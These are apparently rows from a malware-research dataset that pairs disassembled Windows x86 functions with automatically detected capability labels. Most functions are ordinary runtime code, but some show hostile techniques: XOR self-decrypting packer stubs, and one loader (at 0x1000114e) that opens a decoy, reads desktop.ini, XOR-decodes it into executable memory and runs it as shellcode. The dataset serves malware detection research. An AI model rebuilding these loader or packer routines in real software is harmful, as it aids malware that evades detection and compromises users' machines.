joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001e36f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001e40c
push ebx
push esi
call fcn.1001e338
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001e2cc
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001e3b9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001e40b
push edi
push eax
call fcn.1001f32a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001e3d9
call fcn.1001ce14
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001e40a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001e2cc
add esp, 0x20
test eax, eax
jne 0x1001e3f8
push edi
call fcn.1001ce14
jmp 0x1001e400
push ebx
call fcn.1001ce14
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1001e679
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10026cc8
push 0x10026cc0
push str.FlsAlloc
push 0x1f
call fcn.1001e595
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001e6ad
push dword [ebp + 8]
mov ecx, esi
call dword [0x10025150]
call esi
jmp 0x1001e6b3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001e6f7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10026cd8
push 0x10026cd0
push str.FlsGetValue
push 0x21
call fcn.1001e595
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001e72e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10025150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1001e736
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10026ce0
push 0x10026cd8
push str.FlsSetValue
push 0x22
call fcn.1001e595
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001e770
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10025150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10023df0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10023e1d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10023e1d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x412722
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x4186e0], 0
push ebx
push esi
mov esi, 0x4186e8
jne 0x41274e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x418700], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4186e0], 1
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x4127eb
push 0x14
push 8
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x412815
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x4186e4]
test eax, eax
je 0x412790
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x4186e4], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x41281a
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x412815
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401aa1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401ae0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401ae0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ae0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401ae0
cmp dword [ecx + 0x74], 0xe
jbe 0x401ae0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40abc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40abed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40abed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x41c5bb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41c5fa
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41c5fa
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41c5fa
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41c5fa
cmp dword [ecx + 0x74], 0xe
jbe 0x41c5fa
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x423d5b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x423df8
push ebx
push esi
call fcn.00423d24
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00423cb8
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x423da5
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x423df7
push edi
push eax
call fcn.004227f0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x423dc5
call fcn.0042283e
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x423df6
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00423cb8
add esp, 0x20
test eax, eax
jne 0x423de4
push edi
call fcn.0042283e
jmp 0x423dec
push ebx
call fcn.0042283e
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x425009
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42d9a0
push 0x42d998
push str.FlsAlloc
push 0x1f
call fcn.00424ec6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42503d
push dword [ebp + 8]
mov ecx, esi
call dword [0x42b144]
call esi
jmp 0x425043
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x425087
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42d9b0
push 0x42d9a8
push str.FlsGetValue
push 0x21
call fcn.00424ec6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4250be
push dword [ebp + 8]
mov ecx, esi
call dword [0x42b144]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4250c6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42d9b8
push 0x42d9b0
push str.FlsSetValue
push 0x22
call fcn.00424ec6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x425100
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42b144]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x42a3d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42a3fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42a3fd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x5f8800]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x401058
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x401052
shr eax, 8
cmp al, 2
jne 0x401052
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005aa550
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
xor ecx, ebp
or eax, 0xffffffff
call fcn.005aa550
mov esp, ebp
pop ebp
ret

Function at 0x4010c0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4010ea
cmp word [eax + 8], 2
jne 0x4010ea
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [eax], edx
xor eax, eax
pop esi
pop ebp
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x4010fb
or eax, eax
pop esi
pop ebp
ret
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
xor eax, eax
pop esi
pop ebp
ret

Function at 0x401250
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x5f8800]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x401293
or eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005aa550
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x12]
mov eax, dword [ebp - 0x10]
push ecx
mov dword [esi], eax
call dword [sym.imp.WS2_32.dll_ntohs]
mov ecx, dword [ebp - 4]
mov word [esi + 4], ax
xor ecx, ebp
xor eax, eax
pop esi
call fcn.005aa550
mov esp, ebp
pop ebp
ret

Function at 0x4012f0
Capabilities:
Create udp socket

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
cmp dword [ebp + 8], 2
push 0
sete al
inc eax
push eax
push 2
call dword [sym.imp.WS2_32.dll_socket]
pop ebp
ret

Function at 0x4014a0
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x5f8800]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
movzx ecx, word [esi + 4]
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, 2
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp + 8]
mov edx, dword [esi]
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
push ecx
mov dword [ebp - 0x10], edx
call dword [sym.imp.WS2_32.dll_connect]
pop esi
cmp eax, 0xffffffff
jne 0x401513
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x401513
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005aa550
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.005aa550
mov esp, ebp
pop ebp
ret
Function at 0x4015f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x5f8800]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
test esi, esi
je 0x401637
movzx ecx, word [esi + 4]
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, 2
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esi]
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], edx
mov eax, esi
neg eax
push 0
sbb eax, eax
push 0
and eax, 0x10
push eax
mov eax, dword [ebp + 0x14]
neg esi
sbb esi, esi
lea ecx, [ebp - 0x14]
and esi, ecx
mov ecx, dword [ebp + 8]
push esi
push 0
lea edx, [ebp - 0x18]
push edx
push eax
push edi
push ecx
call dword [sym.imp.WS2_32.dll_WSASendTo]
pop edi
pop esi
cmp eax, 0xffffffff
jne 0x401688
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005aa550
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
xor ecx, ebp
call fcn.005aa550
mov esp, ebp
pop ebp
ret

Function at 0x4016a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x5f8800]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push 0
push 0
mov ecx, esi
neg ecx
sbb ecx, ecx
lea edx, [ebp - 0x1c]
and ecx, edx
push ecx
mov ecx, esi
neg ecx
sbb ecx, ecx
lea edx, [ebp - 0x14]
and ecx, edx
push ecx
lea ecx, [ebp - 0x18]
push ecx
mov ecx, dword [ebp + 0x14]
lea edx, [ebp - 0x20]
push edx
mov edx, dword [ebp + 8]
push ecx
push eax
push edx
mov dword [ebp - 0x1c], 0x10
mov dword [ebp - 0x18], 0
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
cmp eax, 0xffffffff
jne 0x401732
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
je 0x401721
sub eax, 0x13
je 0x401721
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005aa550
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005aa550
mov esp, ebp
pop ebp
ret
test dword [ebp - 0x18], 0x8000
jne 0x40170f
test esi, esi
je 0x401752
mov ecx, dword [ebp - 0x12]
mov eax, dword [ebp - 0x10]
push ecx
mov dword [esi], eax
call dword [sym.imp.WS2_32.dll_ntohs]
mov word [esi + 4], ax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x20]
xor ecx, ebp
pop esi
call fcn.005aa550
mov esp, ebp
pop ebp
ret
Function at 0x4017c0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x5f8800]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x10]
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov dword [ebp - 0x214], edx
imul edx, edx, 0x3e8
sub ecx, edx
imul ecx, ecx, 0x3e8
push esi
mov esi, dword [ebp + 0xc]
mov eax, dword [esi]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x108], 0
test al, 1
je 0x40182c
mov dword [ebp - 0x104], edi
mov dword [ebp - 0x108], 1
test al, 2
je 0x401840
mov dword [ebp - 0x208], edi
mov dword [ebp - 0x20c], 1
lea eax, [ebp - 0x214]
push eax
push 0
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x20c]
push edx
lea eax, [edi + 1]
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jns 0x401878
pop edi
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005aa550
mov esp, ebp
pop ebp
ret
mov dword [esi], 0
test eax, eax
je 0x4018aa
lea ecx, [ebp - 0x108]
push ecx
push edi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x401896
or dword [esi], 1
lea edx, [ebp - 0x20c]
push edx
push edi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4018aa
or dword [esi], 2
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.005aa550
mov esp, ebp
pop ebp
ret

Function at 0x401a20
Capabilities:
Hash data using crc32b

Disassembly:
push esi
xor esi, esi
mov edx, 8
mov eax, esi
call fcn.004019f0
shl eax, 0x18
test eax, eax
jns 0x401a3f
add eax, eax
xor eax, 0x4c11db7
jmp 0x401a41
add eax, eax
test eax, eax
jns 0x401a4e
add eax, eax
xor eax, 0x4c11db7
jmp 0x401a50
add eax, eax
test eax, eax
jns 0x401a5d
add eax, eax
xor eax, 0x4c11db7
jmp 0x401a5f
add eax, eax
test eax, eax
jns 0x401a6c
add eax, eax
xor eax, 0x4c11db7
jmp 0x401a6e
add eax, eax
test eax, eax
jns 0x401a7b
add eax, eax
xor eax, 0x4c11db7
jmp 0x401a7d
add eax, eax
test eax, eax
jns 0x401a8a
add eax, eax
xor eax, 0x4c11db7
jmp 0x401a8c
add eax, eax
test eax, eax
jns 0x401a99
add eax, eax
xor eax, 0x4c11db7
jmp 0x401a9b
add eax, eax
test eax, eax
jns 0x401aa8
add eax, eax
xor eax, 0x4c11db7
jmp 0x401aaa
add eax, eax
mov edx, 0x20
call fcn.004019f0
mov dword [esi*4 + 0x6a6bf0], eax
inc esi
cmp esi, 0x100
jl 0x401a23
mov dword [0x6a6ff0], 1
pop esi
ret

Function at 0x401ae0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
or esi, 0xffffffff
cmp dword [0x6a6ff0], 0
jne 0x401af5
call fcn.00401a20
cmp dword [ebp + 0xc], 0
jbe 0x401b37
mov edx, dword [ebp + 8]
push ebx
push edi
mov eax, dword [edx + 4]
mov ecx, dword [edx]
dec dword [ebp + 0xc]
add ecx, eax
cmp eax, ecx
jae 0x401b2c
mov edi, edi
movzx ebx, byte [eax]
mov edi, esi
and edi, 0xff
xor edi, ebx
shr esi, 8
xor esi, dword [edi*4 + 0x6a6bf0]
inc eax
cmp eax, ecx
jb 0x401b10
add edx, 8
cmp dword [ebp + 0xc], 0
ja 0x401b00
pop edi
pop ebx
not esi
push esi
call dword [sym.imp.WS2_32.dll_htonl]
pop esi
pop ebp
ret
Function at 0x403780
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [esi + 0x24], 1
push ebx
mov ebx, eax
je 0x403794
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebx + 0x10]
push edi
mov edi, dword [sym.imp.WS2_32.dll_ntohl]
push eax
call edi
mov dword [ebp - 4], eax
dec eax
cmp eax, 0xfe
ja 0x4038a9
mov ecx, dword [ebx + 0x1c]
push ecx
call edi
cmp eax, dword [esi + 0x84]
jne 0x4038a9
mov edx, dword [ebx + 0x20]
push edx
call edi
cmp eax, dword [esi + 0x7c]
jne 0x4038a9
mov eax, dword [ebx + 0x24]
push eax
call edi
cmp eax, dword [esi + 0x80]
jne 0x4038a9
mov ecx, dword [ebx + 0x28]
cmp ecx, dword [esi + 0x10]
jne 0x4038a9
push esi
or dl, 0xff
mov ecx, 1
call fcn.004027e0
mov eax, dword [ebp - 4]
add esp, 4
cmp eax, dword [esi + 0x2c]
jae 0x40380b
mov dword [esi + 0x2c], eax
movzx edx, word [ebx + 4]
push edx
call dword [sym.imp.WS2_32.dll_ntohs]
mov word [esi + 0xc], ax
mov al, byte [ebx + 6]
mov byte [esi + 0x15], al
mov cl, byte [ebx + 7]
mov byte [esi + 0x14], cl
mov edx, dword [ebx + 8]
push edx
call edi
cmp eax, 0x240
jae 0x40383a
mov eax, 0x240
jmp 0x403846
cmp eax, 0x1000
jbe 0x403846
mov eax, 0x1000
cmp eax, dword [esi + 0xb0]
jae 0x403854
mov dword [esi + 0xb0], eax
mov eax, dword [ebx + 0xc]
push eax
call edi
cmp eax, 0x1000
jae 0x403868
mov eax, 0x1000
jmp 0x403874
cmp eax, 0x10000
jbe 0x403874
mov eax, 0x10000
cmp eax, dword [esi + 0xb4]
jae 0x403882
mov dword [esi + 0xb4], eax
mov ecx, dword [ebx + 0x14]
push ecx
call edi
mov dword [esi + 0x30], eax
mov edx, dword [ebx + 0x18]
push edx
call edi
mov ebx, dword [ebp + 0xc]
mov dword [esi + 0x34], eax
mov eax, dword [ebp + 8]
mov ecx, esi
call fcn.004026e0
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push eax
mov edi, 9
mov eax, esi
mov dword [esi + 0x178], 0
call fcn.004025a0
add esp, 4
pop edi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405b70
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0x10300
jb 0x405b8a
mov eax, dword [ebp + 0xc]
mov edx, dword [eax]
test edx, edx
jne 0x405b8f
cmp dword [eax + 4], edx
je 0x405ba2
or eax, 0xffffffff
pop ebp
ret
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x405b8a
mov dword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc], edx
mov dword [fcn.005ac157], ecx
mov eax, dword [eax + 8]
test eax, eax
je 0x405bae
mov dword [0x5f8734], eax
pop ebp
jmp sym.HelGame.exe_enet_initialize
Function at 0x405fe0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], 0
call fcn.00405f60
push 0
push 0
push 3
push 0
push 0
push closesocket
push str.contents_tooff.lst
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp esi, 0xffffffff
je 0x40602a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x4060ed
push 0x5c45dc
lea eax, [ebp - 0xc]
push str.contents_tooff.lst
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s
add esp, 0xc
test eax, eax
jne 0x4060ed
lea esi, [ebx + 2]
push esi
call fcn.005aa4da
push esi
push 0
push eax
mov dword [ebp - 0x10], eax
call sub.VCRUNTIME140.dll_memset
push dword [ebp - 0xc]
push 1
push ebx
mov ebx, dword [ebp - 0x10]
push ebx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x90a20
push eax
lea eax, [ebp - 8]
push eax
push ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_strtok_s
mov edx, eax
add esp, 0x2c
test edx, edx
je 0x4060dc
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406097
sub ecx, esi
je 0x4060c4
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4060a7
sub ecx, esi
cmp ecx, 0xa
ja 0x4060c4
push edx
push 0xa
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy_s
add esp, 0xc
add edi, 0xa
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0
call sub.api_ms_win_crt_string_l1_1_0.dll_strtok_s
mov edx, eax
add esp, 0xc
test edx, edx
jne 0x406092
push ebx
call fcn.005aa4e3
push dword [ebp - 0xc]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406100
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push esi
push 0x5c45c0
push str.contents_tooff.lst
push eax
mov esi, ecx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s
add esp, 0xc
test eax, eax
jne 0x40617d
push edi
lea edi, [eax + 0x64]
mov eax, esi
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406130
sub eax, edx
je 0x406169
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406140
push dword [ebp - 4]
sub ecx, edx
push 1
push ecx
push esi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
push dword [ebp - 4]
push 1
push 1
push 0x5c45d8
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x20
add esi, 0xa
sub edi, 1
jne 0x406127
pop edi
push dword [ebp - 4]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret